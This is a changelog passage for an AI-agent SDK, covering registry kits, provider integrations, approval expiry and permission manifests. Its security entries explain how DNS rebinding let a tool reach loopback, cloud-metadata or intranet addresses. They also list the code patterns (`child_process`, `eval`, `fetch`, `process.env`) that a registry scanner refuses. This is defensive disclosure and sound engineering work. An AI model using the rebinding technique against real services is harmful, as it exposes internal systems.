* `openApiTools()` can refuse private destinations: with the new option `privateAddresses: 'refuse'` (default `'allow'`, unchanged), every operation request and the document fetch, each redirect hop included, fails when its host is or resolves to a loopback, link-local, private or reserved address. Host names go through the pinned DNS lookup `http_request` and `web_fetch` use (one resolution per connection, every address checked, the socket connects to the checked address), so DNS rebinding cannot reach a private address; IP literals in every form `URL` normalizes (decimal, octal, hex, IPv4-mapped IPv6) and `localhost` / `*.localhost` are refused when the tools are made. `allowPrivate` lists hosts that may be private. `'refuse'` cannot be combined with a custom `fetch` (it throws a `ConfigurationError`: a custom fetch's connections cannot be pinned) and needs Node.js (`undici`, `node:dns`); where undici cannot load, making the tools throws a `ConfigurationError`. See docs/openapi-tools.md#security-rules.
* The registry permission manifest is now enforced when an agent directory loads and runs. `loadAgentDir` re-hashes every file the `lousho-registry.json` receipt lists; an item with edited or missing files is reported `unattested` (a warning naming the item and files, and `manifest.registry` on `resolveAgentDir()`, which also gains the new `Attestation`, `RegistryItemStatus` and `RegistryStatus` types) without refusing the load. Every tool a receipt item owns then runs inside the manifest accepted at install: an `exec: true` or `needsApproval: true` item's tools - and any unattested item's tools - always wait for approval (a tool's own `deny` still denies); `fetch` while the tool runs is limited to the declared `network` hosts; `process.env` shows only the declared `env` names; and a `requiresSandbox` tool gets a narrowed adapter (`run()` refused without `exec`, `writeFile()` without `filesystem: "write"`, a command env of the non-secret base plus the declared variables only). The envelope stays as narrow as the last accepted manifest until `lousho add <name> --overwrite` attests the current files. Limits, unchanged: the guards intercept `fetch` and `process.env`, not `http`/`net`/`axios`, the filesystem, module-scope captures or a container's own network policy; the manifest is still not a sandbox. See docs/registry.md#permission-manifest.

### Changed

* The published package is smaller: \~873 files / \~13.5 MiB unpacked / \~3.65 MiB packed, down from \~902 / \~20.8 MiB / \~5.6 MiB. Test-only files that still shipped (`*.test-d.ts` type tests, `*.testkit.ts` helpers, `__snapshots__/` and the test-replay `__cassettes__/` directories) and the Agent Forge server source map no longer ship, and the SDK's own source maps no longer embed `sourcesContent` — their `sources` still resolve to the shipped `src/`, so `--enable-source-maps` stack traces keep working. `pack-smoke` now also runs `build:studio`, so it measures the tarball that is actually published, and it fails when a file `lousho build` or `lousho studio` needs is missing.
* Test files are type-checked (`npm run typecheck:tests`, in CI); `pack-smoke` also checks the published declarations with `skipLibCheck: false`.

### Added

* Agent directories: new `agent.*` config keys `permissionMode`, `permissions` (a serializable rule form: `tool` is a name, a list or - in a code config - a `RegExp`; `when` narrows the rule with a record of argument names to matchers - a regular expression string or an operator object (`eq`/`ne`, `lt`/`lte`/`gt`/`gte` on `Number(arg)`, `matches`), or a predicate in a code config; `action` is `allow` / `ask` / `deny`), `compaction`, `limits`, plus `hooks` and `approve`, each a path (relative to the directory) to a file default-exporting the hook(s) / the approver function, or the value inline in a code config. `instructions/<family>.md` appends to `instructions.md` when the resolved model id contains `<family>` (e.g. `openai`, `anthropic`). `lousho build --target=node-server` (and `--target=docker`) bundles a root `hooks.*` / `approve.*` file next to the config and resolves the compiled `.js` sibling; the Cloudflare Worker target carries `permissionMode`, `permissions`, `compaction` and `limits` over and accepts `hooks` / `approve` from a code config (a file path is refused, a Worker cannot import it). See [Agent directories](/agent-directories).
* Registry: a new item `type` `kit` is a whole agent directory - its `files` may sit at any (still safe) relative path - so `lousho add <kit> --dir <target>` installs `agent.*`, `instructions.md`, tools, skills and sub-agents in one item, under one permission manifest, and records it in `lousho-registry.json` like any other item. The default registry's first kit is `coding-kit`, a port of the `examples/coding-harness` baseline: workspace tools with checkpoint rewind, an allow-listed shell, permission rules, a loop guard and output cap as hooks, a compaction setting, a `fix-failing-test` skill and a read-only `explorer` sub-agent (manifest: `exec`, `fs-write`; install with `lousho add coding-kit --dir <dir> --yes --allow exec,fs-write`). See [Registry](/registry).
* The `pi` provider: `createAgent({ model: 'pi/<pi-provider>/<model>' })` routes calls through `@earendil-works/pi-ai` (`1.0.3`, a new optional peer - `npm install @earendil-works/pi-ai@1.0.3`), the engine `pi-coding-agent` runs on, so pi's whole catalog (OpenRouter, Anthropic, OpenAI, Google,...) is usable natively; e.g. `pi/openrouter/openai/gpt-4o-mini` is OpenRouter's `openai/gpt-4o-mini` (nested slashes are kept: the segment after `pi/` is the pi provider, the rest the model id). Messages (including reasoning blocks, tool calls/results and image parts), tool `parameters` (raw JSON Schema, zod 3/4 or Standard Schema), streamed chunks and usage/cost map to the same surface the `ai`-SDK providers expose, and pi's own retries are pinned off so `retry`/`fallbackModels` stay the only retry layer. Credentials are per nested provider: pi reads each one's own env var (`pi/openrouter/...` reads `OPENROUTER_API_KEY`), and a missing one fails the call with `LOUSHO_PROVIDER_MISSING_API_KEY` naming it; a missing package fails with `MissingPeerDependencyError` naming `npm install @earendil-works/pi-ai@1.0.3`. New export `PiProvider` (+ `PiProviderConfig`, whose `models` injects custom/faux catalog entries). `pi` is Node-only: the `cloudflare-worker` target refuses `pi/...` specs. See docs/providers.md#the-pi-provider.
* `piAgent()` ("pi-coder"): a Pi coding-agent session (`@earendil-works/pi-coding-agent`, a new optional peer) usable in-process as a `createAgent({ subagents })` entry - `subagents: { coder: piAgent({ cwd, model, description, permissions }) }`. Each `task` call is one Pi session under the task's `sessionId`, so `taskId` resumes and approval resumes reopen the same JSONL transcript even across a restart. `permissions` (the same `PermissionRule`s as `createAgent()`) gate every Pi tool call through a `tool_call` extension handler: `deny` refuses it, `ask` pauses the lead run durably for approval when the caller can pause and refuses it otherwise; approving re-issues that exact call once (Pi has no run-blocked-call API, so a decision prompt asks the model to repeat it and the gate lets that one call through), rejecting sends the note as the next turn. Pi usage rolls into the lead's `result.usage`, and aborts propagate to the Pi session. Node-only: the package is loaded lazily, so a consumer without it still typechecks and `run()` fails with `LOUSHO_PEER_MISSING`. Also new: `defineRemoteSubagent(impl)` wraps any `RemoteSubagent` implementation (same contract as `remoteAgent()`), and `SubagentApprovalPause` is exported for such adapters.
* Agent directories: three more `agent.*` config keys wire the approval surface. `approvalTtlMs` is `createAgent`'s run-level default for how long a pause for approval stays decidable (milliseconds); a `permissions` `ask` rule may set `ttlMs`, bounding that rule's pauses and winning over `approvalTtlMs` (both positive finite numbers, rejected otherwise). `store` declares a durable store so paused approvals survive restarts ("draft today, approve tomorrow"): `{ "dir": "./.lousho" }` (resolved against the agent directory, staying inside it) becomes a `fileStore()` - sessions, checkpoints and approvals as JSON files, with `historyLimit` / `tokenKey` also declarable; a code config may set an `AgentStore` instance instead. `store` is Node-only: the Cloudflare Worker target rejects it. `loadAgentDir(dir, { approve: null })` / `{ hooks: null }` strip the directory's wiring (the file the config names is not even imported), where `undefined` keeps it. The generated node-server / docker server keeps a config-declared `store` unless `LOUSHO_STORE` is set. See [Agent directories](/agent-directories).
* Agent directories: `"engine": "pi"` in a `subagents/<name>/` config makes that directory a `piAgent()` coding sub-agent instead of a nested `createAgent()` one - it lands in the parent's `subagents` map (the `task` tool) and its sessions run in the parent's directory, the workspace both share. Its `model` is the usual `pi/<provider>/<model>` id and its `permissions` gate the Pi session's own tool calls; the remaining config keys are ignored (Pi carries its own prompt and tools). `loadAgentDir()`'s new `piAgent` override injects `PiAgentOptions` into every such sub-agent (a faux `modelRuntime` in tests, a `sessionDir` for durable approvals); the directory always wins `cwd`, `name` and `description`. Cloudflare Worker targets reject `engine` - Pi needs the Node runtime. The default registry's second kit, `coding-pi`, is `coding-kit` on the full Pi stack: pi-provider lead, dir-declared pi coder, same safety rails (install `--allow exec,fs-write,network,env`). See [Agent directories](/agent-directories#sub-agents).
* The `approve` callback may return `'defer'` to abstain: the call stays pending (listed by `agent.approvals.list()`, resolvable by `agent.approvals.resolve()` / `streamResolve()` / `answer()`) and the run surfaces the pause - `send()` resolves with `finishReason: 'awaiting-approval'`, as if the callback had never been asked - so an approver can decide the calls it trusts and hand the rest to a human. Note: `'defer'` is now reserved; an approval note that is exactly `'defer'` defers instead of approving. See [Deciding in code](/approvals#deciding-in-code).
* Tool-call hook contexts carry `resumedAfterApproval`: `true` only when `preToolCall` / `postToolCall` fire for the post-approval re-run of a call the run paused on (`agent.approvals.resolve()`, `resumeAfterApproval()`). Stateful hooks (loop guards, audit counters) can skip the re-fire with `if (ctx.resumedAfterApproval) return;`. See [Hooks](/hooks).
* New `ToolDescriptor.transient` marks a tool bound per run (a memory slot's `remember_*` / `recall_*` tools, bound to the run's scope keys): it is left out of the agent fingerprint, so an approval-resumed run - whose registry intentionally does not rebind them - no longer reports `tools removed` agent drift on every resolve.
* Approvals can expire. `createAgent({ approvalTtlMs })` (validated: positive finite) sets a default deadline for every pause, `send()`/`stream()` take a per-call override, a `permissions` `ask` rule may set `ttlMs` (wins over the run default), and `ExecuteOptions.approvalTtlMs` covers `AgentExecutor.execute()`; sub-agents inherit the lead's TTL unless they set their own. A pending approval past `expiresAt` resolves as denied with `'approval expired'` - enforced at decision time, so a durable-store resume (a restart, another process) can never approve a stale pause - and `list()` keeps expired entries (marked by `expiresAt`) so `resolve()` still continues the run. `approval.requested` events and `UIPendingApproval` carry `expiresAt` for UI countdowns; expiry writes an audited `deny` decision to `onPermissionDecision`. See [Approvals](/approvals).
* `llmCritique(config)`: like `llmJudge` but returns `{ score, feedback }` - one judge call, a `SCORE:`/`FEEDBACK:` prompt, graceful degradation on malformed output - so evaluator-optimizer loops get actionable revision guidance, not just a number. See [Evals](/evals).
* Testing helpers: `testToolContext(overrides?)` (`@lousho/build-ai-agent/testing`) builds a valid `ToolExecutionContext` for direct `tool.execute()` calls - `getToken`/`requireAuth` fail loudly unless stubbed - and `toolResultText(message)` (root export) unwraps a `tool` message's JSON-encoded content to its result text.
* Channels: `ChannelInbound.metadata` now reaches the run as `SendOptions.metadata` (memory scopes and `when` contexts can key on channel-supplied data; it is unauthenticated, unlike `principal`), and `webhookChannel({ principal: (body, req) =>... })` can derive the caller principal from a verified body/header - so a webhook intake (PagerDuty, Grafana) attributes the run to the alerting system. See [Channels](/channels).
* New registry kits and examples replicating the most-built agent archetypes: `inbox-triage` (channel intake → classify → draft → approval-gated send, per-sender memory, `@hourly` sweep; install `lousho add inbox-triage --allow env,fs-write`) and `incident-response` (webhook alert → diagnose → risk-tiered approvals → remediate → verify → audit timeline; install `--allow env,fs-write`); examples `deep-research` (orchestrator-workers fan-out with cited synthesis), `support-desk` (triage → `handoff()` to specialist agents), `evaluator-loop` (writer ↔ `llmCritique` revision loop) and `data-analyst` (text-to-SQL with read-only enforcement). Each runs offline on mock models and accepts `OPENROUTER_API_KEY` for a live pass.
* `claudeProject(dir)`: loads a repository's Claude-Code-conventional context into options that spread into `createAgent()` — `CLAUDE.md`/`AGENTS.md` + `.claude/rules/*.md` become `instructions`, `.claude/skills/*/SKILL.md` load through `loadSkills()` unchanged, `.claude/agents/*.md` frontmatter becomes `subagents` (frontmatter `model` selects the sub-agent's model; `provider`/`model` options are the fallback), and `.claude/scratchpad/` gets a `scratchpad` note tool (name-validated `*.md` writes). Nothing in the directory executes: markdown is read as data, and `.claude/commands`, `settings*.json` and `mcp.json` are listed on `manifest.ignored` rather than loaded. See [Claude Code projects](/claude-projects).
* `decide()`: typed answers from the OpenAI Decisions API (`POST /v1/decisions`, public beta — `gpt-6-luna` only) — `predicate` questions return a probability, `choice` returns a value plus per-option `probabilities` and `confidence`, `score` returns a rubric's probability-weighted level index, and any question may come back a `refusal`. Input is a string or messages with `input_text`/`input_image` (inline base64) parts; `apiKey` (default `OPENAI_API_KEY`), `baseURL`, `timeoutMs`, `signal` and `fetch` are overridable. It is the fast path for typed decisions (route/gate/score) — no agent turn and no generated prose — and does not go through providers or OpenRouter. See [Decisions](/decisions).
* Four new examples covering the agentic-patterns catalog: `waves` (Workers · Aggregate · Verify · Extend — bounded parallel workers, deterministic merge, a typed `{ verdict, gaps }` verifier, extension waves seeded by its gaps), `phase-pipeline` (discuss → spec → plan → implement → proof gate → report on `FlowBuilder`/`FlowExecutor`, with the implement↔check retry ladder as a `oneOf` chain), `coding-agent-workflows` (a coding agent routed by a typed decision — `output` schema `{ route, confidence, reason }`, a confidence floor escalating low-confidence calls to the careful path), and `connectors` (MCP connectors à la Claude — runs fully offline against a mock `serveMcp` stdio server exposing `docs_*`/`slack_*` tools; README maps Google Docs, Slack, GitHub and Notion). Plus `hostinger-deploy`: build an agent with `lousho build --target=docker`, ship it to a Hostinger VPS over SSH and smoke-test `/health` + bearer auth + approval pause/resume. See [Prompting and context techniques](/prompting-techniques), [Connectors](/connectors) and [Hostinger VPS](/hostinger-vps).
* `lousho add` has a default registry: without `--registry` or `LOUSHO_REGISTRY` it reads `https://registry.lousho.com/index.json` - the `registry/dist/` folder of this repository served as static JSON - instead of failing with "no registry configured; there is no hosted registry yet", so `lousho add --list` works out of the box. It carries five starter items: the tools `open-meteo-weather` (current weather by city through Open-Meteo, no API key) and `github-issues` (list and create issues through `api.github.com`; creating asks for approval), the skills `changelog` and `code-review`, and the `generic-webhook` channel (HMAC-SHA256 signature verification from `WEBHOOK_SECRET`). `--registry` and `LOUSHO_REGISTRY` still override it, and the new value `none` (in either place) disables the registry entirely with the old `LOUSHO_CONFIG_INVALID` "no registry configured" error, for offline or locked-down use. The items live in `registry/` as an `item.json` plus their files per folder; `npm run registry:build` validates each against the registry schemas, the path rules and the M7a code/manifest check, and writes the committed `registry/dist/` (`npm run registry:check` fails when it is stale and runs in CI). See docs/registry.md.

### Fixed

* A channel button click (Slack, Discord), inline-keyboard tap (Telegram), Adaptive Card press (Teams) or `/approve` command (GitHub) after a restart is now bound to the conversation's session before the approval is resolved, so its continuation is appended to the session transcript again. The decision names the conversation it came from (`inbound`); with checkpointed sessions (`mountChannels` `store` with `checkpoints`, e.g. a `SqliteStore`) it is accepted only when that session's pending turn waits on exactly that approval id and kind - a decision for another conversation, a replay of a decided one and a decision of the wrong kind are refused (`LOUSHO_APPROVAL_NOT_FOUND`) before the approval is touched, and `onDecision` audits only decisions that pass, so a replayed click cannot run the tool twice and the thread's next message continues the same session. Without a checkpoint store nothing can be checked, so the approval store alone decides, as before.
* A channel's function `approvers` works after a restart: `ctx.approval(id)` asked only this process's `agent.approvals.list()`, so a pause the restarted process did not make looked the same as a denial and the function failed closed. `ApprovalStore` gains an optional `load(id)` - `resolve()` without removing the record; every shipped store implements it, and a custom store without it keeps compiling and behaves as before - and the new `agent.approvals.get(id)` reads through it. `ctx.approval` falls back to that, so the function sees the same request (`toolName`, `input`, `sessionId`, `principal`) it saw before the restart and fails closed only when no store knows the id (a process-local approval store still forgets its pauses at a restart).
* A hand-written Cloudflare Worker can now bundle `createAgent`. The package root also exports file stores, the agent-directory loader, MCP over stdio and sandboxes, so bundling it for `platform: 'browser'` failed with `Could not resolve "async_hooks"` (and `crypto`, `fs/promises`, `http`, `net`, `stream`) - only the generated Worker ever bundled, because `lousho build --target=cloudflare-worker` redirects those imports to shims itself. `@lousho/build-ai-agent/worker` is a new subpath exporting `createAgent` (and its config types), `memoryStore`, the KV stores (`KVStore`, `KVCheckpointStore`, `CHECKPOINT_KV_BINDING`), the schedule helpers (`defineSchedule`, `handleScheduled`), `serveFetch` (the `/chat` API as a fetch handler), the providers a Worker can run and the whole Worker-safe subset agent-directory code may import. The SDK's own build produces it through the same Node-builtin/sandbox/QuickJS shims the adapter applies (plus new `ollama-ai-provider` and `@modelcontextprotocol/sdk` ones, which an external specifier would leave unresolvable and `mcpServers` therefore fails on first connect - use `lousho build` for MCP on Workers), so the published entry carries no `node:` import for a user's own bundler to fail on; `ai`, `zod`, `@opentelemetry/api` and the `@ai-sdk/*` provider packages stay external specifiers resolved from the user's install. Guarded by `src/deploy/worker.test.ts`; see docs/cloudflare-workers.md#writing-your-own-worker.
* The published `.d.ts` files no longer import the types of optional peers: `SubprocessSandboxOptions.dockerOptions` is now the structural `DockerConnectionOptions` (same fields as dockerode's `DockerOptions`, passed through unchanged) and `McpClientLike` is the structural subset of the MCP SDK's `Client` it already was (`listTools` / `callTool`). Before, `dist/index.d.ts` imported `dockerode` and the shared schema chunk imported `@modelcontextprotocol/sdk`, so a consumer compiling with `skipLibCheck: false` without those optional peers installed got TS2307 inside the SDK's own declarations. A dockerode `DockerOptions` or MCP `Client` value still satisfies both types.

## \[1.0.0-alpha.18] - 2026-10-08

See the 1.0.0-alpha.19 section, which covers everything from 1.0.0-alpha.15 through 1.0.0-alpha.19.

## \[1.0.0-alpha.17] - 2026-10-07

See the 1.0.0-alpha.19 section, which covers everything from 1.0.0-alpha.15 through 1.0.0-alpha.19.

## \[1.0.0-alpha.15] - 2026-10-06

See the 1.0.0-alpha.19 section, which covers everything from 1.0.0-alpha.15 through 1.0.0-alpha.19.

## \[1.0.0-alpha.9] - 2026-10-04

### Security

* `http_request` is no longer open to DNS rebinding. It resolved a host name once to check it against the private-address list and then let `fetch` resolve it again to connect, so a name that answered a public address to the check and `127.0.0.1` (or a cloud metadata or intranet address) to the connection reached the private address; the docs and a comment in the Worker runtime described the check as rebinding-safe. Now the one resolution is the check: the in-process path connects through an undici `Agent` whose `connect.lookup` checks every address and hands the socket the address it checked (each redirect hop included), and the sandboxed path (`sandboxExecute`, which agents use) resolves and checks the host in the agent's process and has the sandboxed process connect to that address (node:http/https with a fixed lookup; the host name still goes in `Host` and TLS SNI). The private-address list is now the shared one (below), which adds `0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, `198.18.0.0/15`, multicast and reserved `224.0.0.0/3`, `::`, `ff00::/8`, NAT64 `64:ff9b::/96` and 6to4 `2002::/16` to what `http_request` refused. Behavior changes: a host name that cannot be resolved now fails with the resolver's error instead of being passed to `fetch`; `undici` is loaded on the first `http_request` request (not only with `validateSSL: false`). New option `createHttpTool({ allowPrivate })` for hosts that may resolve to private addresses. Cloudflare Workers have no DNS hook, so neither tool exists in the Worker build; docs/deployment.md now says what a Worker can and cannot check.
* A run's principal is fixed for the whole run: an approval resolved by another caller, a restart, `agent.resume()` or a session's pending turn continue as the caller that started the run, and the decider is recorded as the approver (`ctx.approval.by`), never swapped in as the run's principal, so a later caller cannot use an earlier caller's grant by approving their pending call. The principal comes only from route auth or a channel's verified sender; the approvals route and channels never read it from a body field. It is frozen before a tool, a policy or a hook sees it. Remote sub-agents are not told who the caller is.

### Changed

* Behaviour and types: a tool whose `execute` returns an async iterator that is also async iterable (what an `async function*` returns) is now iterated: its last yielded value is the result, instead of the iterator object itself (which used to reach the model as `{}`). `AgentEvent` gains `tool.partial` (`ToolPartialEvent`), `isToolEvent()` narrows to it too, `UIToolCall` gains `partial?`, the `tool-output-available` UI chunk type gains `preliminary?: true`, and `DefinedTool` gains a third, defaulted type parameter (what `execute` resolves to). Migration: a `switch` over `event.type` meant to be exhaustive needs a `'tool.partial'` case; code using the result of `isToolEvent()` as start/done/error only should check `event.type`; a tool that means to return an async generator as a value should wrap it (`{ items: generator }`) - a value that is only async iterable, such as a `ReadableStream`, is still returned as it is.
* Types only: `AgentEvent` gains the `handoff` event (`HandoffEvent`) and `ExecutionResult` the optional `agentName` (set on every result the executor returns: the agent of the final reply). Migration: a `switch` over `event.type` meant to be exhaustive needs a `handoff` case; a test comparing a whole `ExecutionResult` with `toEqual()` now sees `agentName`. Nothing changes at runtime for an agent without `handoffs`.
* BREAKING (types only): `McpServerStatus` gains `'needs-auth'`, and `AgentOAuth` (the type of `agent.oauth`) gains `mcpSignInUrl(server)`. Migration: an exhaustive `switch` over `connectMcp(...).status()` values needs a `'needs-auth'` case (only servers with `oauth` ever report it); an object written by hand to satisfy `AgentOAuth` (a test double, say) needs an `mcpSignInUrl` method. Runtime behaviour without `oauth` is unchanged.
* BREAKING (types only): `ToolExecutionContext` gains the methods `getToken(provider)` and `requireAuth(provider)`, and `ApprovalKind` gains `'sign-in'`. Migration: code that builds a tool's execute context by hand (for example to call `tool.execute(args, { toolCallId, messages })` in a unit test) must add the two methods or cast (`as ToolExecutionContext`); a `switch` over `PendingApproval.kind` / `approval.requested`'s `kind` that is meant to be exhaustive needs a `'sign-in'` case. Contexts the SDK builds have them already; nothing changes at runtime.
* BREAKING: `send()` and `AgentExecutor.execute()` with a listener (`createAgent({ onEvent })`, `onAgentEvent`, or the deprecated `onEvent` option) now stream model calls: a step's text arrives as several `text.delta` events, as in `stream()`, instead of one `text.delta` per step after the step finished. What a listener receives otherwise does not change: the same event types in the same order, exactly one `text.done` per step with the step's whole text, the same `step.done` usage and `run.done`, the same `ExecutionResult` (text, tool calls, usage, steps). A provider without `stream()`, or whose `supportsStreaming(model)` is `false`, still gives one `text.delta` per step. Output guardrails on `send()` still check only the final reply (a `stream()` you iterate checks every step's text, as before). `send()` without a listener still calls `provider.generate()`. Hooks' `ctx.emit` is set whenever the run has listeners (it was already; the docs said "only when streamed"). Migration: concatenate `text.delta`, or listen to `text.done` for whole steps; `execute({ streamModelCalls: false })` (new option, default `true`) restores whole steps.
* `MockLLMProvider` / `createMockProvider()`: `stream()` now streams the same step `generate()` returns: the same tool calls (it streamed none, so a streamed mock run never called a tool), finish reason and usage, and text chunks that add up to exactly the generated text (the old chunks ended with an extra space: `'This is a mock response. '`). Runs on the mock provider with a listener (Agent Forge's, for one) therefore give the same results as before, and `stream()` runs on it now call tools as `send()` does.
* Agent Forge: runs now stream their model calls, so the run WebSocket (`WS /agents/:id/stream`) carries several `text.delta` events per step; the chat, logs and trace views are unchanged (they use `text.done` and the reconciled messages). Stop is checked between streamed chunks and after the last one, as it was after each `generate()` call.
* CI peer matrix: the `typecheck-ai7` and `typecheck-zod4` jobs are replaced by one `peers` job with five entries, each installed for real on top of the default install and run through `tsc`, `test:types`, both builds and `npx vitest run`: `ai4-zod4`, `ai6-zod3`, `ai6-zod4`, `ai7-zod3`, `ai7-zod4`. The two zod 4 entries on `ai` 6/7 also install `ollama-ai-provider-v2` (3.x / 4.x), and the new `src/providers/ollamaV2.contract.test.ts` runs `OllamaProvider` against the real package and a local fake Ollama server (`generate()`, `stream()`, a tool-call turn through `createAgent().send()` and `.stream()`). The `ai-v6` dev alias replaces the hand-made `ai` 6 stand-in in `aiMajorPeers.test.ts`.
* `lousho init --provider ollama` now scaffolds `ai@^7.0.0` with `ollama-ai-provider-v2@^4.0.0` and `zod@^4.0.0` (it was `ai@^4.3.19` with `ollama-ai-provider@^1.2.0` and zod 3). Existing projects are not touched; to stay on the old pairing keep `ai@^4.3.19` and `ollama-ai-provider@^1.2.0`.
* A run paused inside a sub-agent compares the sub-agent with its current definition on resume, under the lead's `onAgentDrift`. Behaviour change: with `onAgentDrift: 'error'`, `agent.approvals.resolve()` (and `resumeAfterApproval()`) now also rejects with `LOUSHO_AGENT_DRIFT` when a paused sub-agent's instructions, model or tools changed; before, only tool and provider default-model changes of a sub-agent were seen, and always as a warning. This holds at any depth (a sub-agent of a sub-agent uses the lead's mode). With `'warn'` (still the default) the `agent.drift` event carries `subagent`. A rejected resume puts the lead's approval record and its `'awaiting-approval'` checkpoint back, so fixing the sub-agent and resolving again finishes the run; before, a sub-agent's missing-tool error became an error result of the `task` call and the run continued. Migration: none for `'warn'` / `'ignore'`; with `'error'`, resolve approvals paused before a sub-agent changed with the old definition, or use `'warn'`. See docs/durable-execution.md#resuming-with-a-changed-agent.
* `lousho add` enforces the permission manifest at install. Behaviour change: an item whose code does not match its manifest is now refused with the new code `LOUSHO_REGISTRY_MANIFEST_MISMATCH`, and nothing is written. Before writing, every JavaScript / TypeScript file of the item is scanned (comments stripped) for `child_process` / `execa` / `shelljs` / `createShellTool` / `SubprocessSandbox` (needs `exec: true`), `fs` imports and `createFsTools` (needs `filesystem: "read"`), file-writing calls (needs `"write"`), `fetch(` and network modules (needs a non-empty `network`), `http(s)://` hosts in strings (each must match a `network` entry) and `process.env.NAME` reads (each must be in `env`); `eval(`, `new Function(`, a computed `process.env[...]` and a non-literal `import()` / `require()` are always refused. Each finding is listed as `<file>:<line>: <what> (<fix>)`. `network` entries must now be host patterns and `env` entries variable names (`LOUSHO_REGISTRY_INVALID` otherwise). With `--yes`, an item asking for `exec: true`, `filesystem: "write"`, a `network` or an `env` is refused unless each is named in the new `--allow exec,fs-write,network,env` flag; the interactive prompt lists them, and the printed manifest marks them `[elevated:...]`. After writing, `lousho add` records the item (type, registry, time, permissions, each file's sha256) in `<agent-dir>/lousho-registry.json`. Migration: registry authors declare what their code uses; scripts that run `lousho add --yes` add `--allow` with the permissions they accept. It is a static check, not a sandbox; see docs/registry.md#permission-manifest. The example item in docs/registry.md now uses `input` (not `inputSchema`).
* Behaviour change: continuing an unfinished checkpointed run (`send(message, { sessionId, principal })`, `AgentExecutor.execute({ sessionId, checkpointStore, principal })`) with a principal other than the one it was saved with now throws `LOUSHO_CONFIG_INVALID` instead of running the new input; without a principal (`agent.resume()`, a session's pending turn) the run continues as the saved caller. Migration: resume such a run without `principal`, or start a new session. `onPermissionDecision` is called with a second argument, `{ principal }` (callbacks that take one argument are unaffected). Checkpoints, approval snapshots and pending approvals now store the run's principal (claims included): treat those stores as personal data. Checkpoints and snapshots written before this release resume with no principal; no migration.

### Added

* `lousho dev` and `lousho chat` take `--traces` (or `--traces=<dir>`) to write local traces with `fileTraceExporter()`: `.lousho/traces` by default, the directory `lousho traces` reads, for spec files, agent directories and modules (`specToAgent()` now also accepts an `exporter` option). It is opt-in because trace files hold prompt and tool content even with `captureContent: false` (only `redactContent: true` removes it); the command prints where it writes. `lousho init` projects already ignore `.lousho/`.
* Code mode: `createAgent({ codeMode: true | CodeModeOptions })` adds a `run_code` tool. The model writes the body of an async JavaScript function that calls the agent's tools as `await tools.<name>(args)`, loops and combines their results, and returns one JSON value; `run_code` returns `{ result, logs, toolCalls }` and only that enters the transcript. Scripts run in a QuickJS WebAssembly isolate from the new optional peer `quickjs-emscripten` (`^0.32.0`, listed by `lousho doctor`; without it the first run of a `codeMode` agent fails with `MissingPeerDependencyError`): a fresh runtime per script, no `require`, `import`, `process`, `fetch`, timers or host objects, values passed as JSON copies, and the limits `timeoutMs` (30,000, whole script including awaited tool calls), `memoryLimitBytes` (64 MiB), `maxToolCalls` (50) and `maxOutputChars` (20,000, return value plus logs). `tools` picks the callable tools (default: all but `run_code`, `ask_question`, sub-agent tools, `tool_search`, `load_skill` and deferred tools); `exclusive: true` takes them off the model's tool list. Every inner call (id `<run_code id>:<n>`) goes through the same gate as a direct call: validation, hooks, permission rules and modes (plan mode refuses non-read-only inner calls; `run_code` itself is read-only), tool guardrails (a block stops the run), `needsApproval`, sandbox routing and the principal. A call that would pause the run (approval, sign-in, a sub-agent's approval) throws inside the script instead and the run does not pause; `run_code` itself can be paused for approval by a rule and runs after the decision. A failed script's error lists its first five tool calls with their (clipped) results. New export: type `CodeModeOptions`. Types: `parentToolCallId?` on the `tool.start`, `tool.partial`, `tool.done` and `tool.error` events (set on inner calls; their `tool.done` / `tool.error` comes before `run_code`'s); inner calls get `execute_tool` spans under the `run_code` span with the attribute `lousho.tool.parent_call_id`. No migration needed: nothing changes without `codeMode`. See docs/code-mode.md.
* Streaming partial tool results: a tool's `execute` may be an `async function*`. Every `yield` is a complete snapshot of its output, streamed as the new `tool.partial` event (`{ toolCallId, toolName, output, index }`, `index` from 0) between the call's `tool.start` and `tool.done`; the last yield is the result the model gets (and `tool.done`'s `result`), a `return` value is ignored and a generator that yields nothing has the result `undefined`. Snapshots are not sent to the model, not added to the transcript, not checkpointed and not recorded in trace spans; hooks see only the result; tokens from `ctx.getToken()` are redacted in snapshots like in the result. The main loop, a streamed resume after an approval (`agent.approvals.streamResolve()`) and a flow's tool-call node iterate the generator; aborting the run stops reading it and calls its `return()`; `toolConcurrency` counts the whole generator run. A call that pauses for a sign-in mid-stream runs again from the start (index from 0); partial output is lost on a crash. `defineTool` types it: `ToolOutput<typeof tool>` is the yielded type (new helper type `ToolResultOf<R>`). The UI reducer (`useLoushoAgent()` and the Vue / Svelte bindings) keeps the latest snapshot as `toolCalls[i].partial`, and `toUIMessageStream()` sends snapshots as the AI SDK's preliminary tool output (`tool-output-available` with `preliminary: true`). See docs/tools.md#streaming-partial-results.
* Tool search: tools marked `deferLoading` (`defineTool({ deferLoading: true })`, or every tool of an MCP server with `mcpServers.<name>.deferLoading: true`, also in spec files and agent directories) are withheld from the model, which finds them with a built-in `tool_search` tool (`{ query }` -> `{ loaded: [{ name, description }], more }`); the tools it finds are sent from the next step on, and `tool_search` stops being offered once everything is loaded. New option `toolSearch` on `createAgent()` and `AgentExecutor.execute()`: `{ thresholdPercent? (default 0.1 of the context window; 0 always defers), maxResults? (5), contextWindow?, search? }`, or `false` to send every tool upfront. Below the threshold nothing is deferred and no `tool_search` exists. Which tools are loaded is read from the transcript at each model call, so loading survives crash resume, approvals, forks and session turns; compaction that prunes a `tool_search` result unloads its tools; a handoff target or a sub-agent never inherits the lead's loaded tools. Skills, memory, `task`, `ask_question` and handoff tools are never deferred. New exports: `ToolSearchOptions`, `ToolSearchResult`, `rankToolsByKeywords()`. Types: `ToolDescriptor.deferLoading`, `DefineToolOptions.deferLoading`, `McpStdioServerSpec` / `McpHttpServerSpec.deferLoading`, `LoadMcpToolsOptions.deferLoading`, `SubagentSpec.toolSearch`, `ToolMetadata.mcp.server`. Behaviour change: tools loaded by `loadMcpTools()` / `connectMcp()` now carry their server name in `metadata.mcp.server`; a test comparing an MCP tool's whole `metadata` with `toEqual()` needs that key. A user tool named `tool_search` is refused (`LOUSHO_CONFIG_INVALID`) only when deferral is active. See docs/tool-search.md.
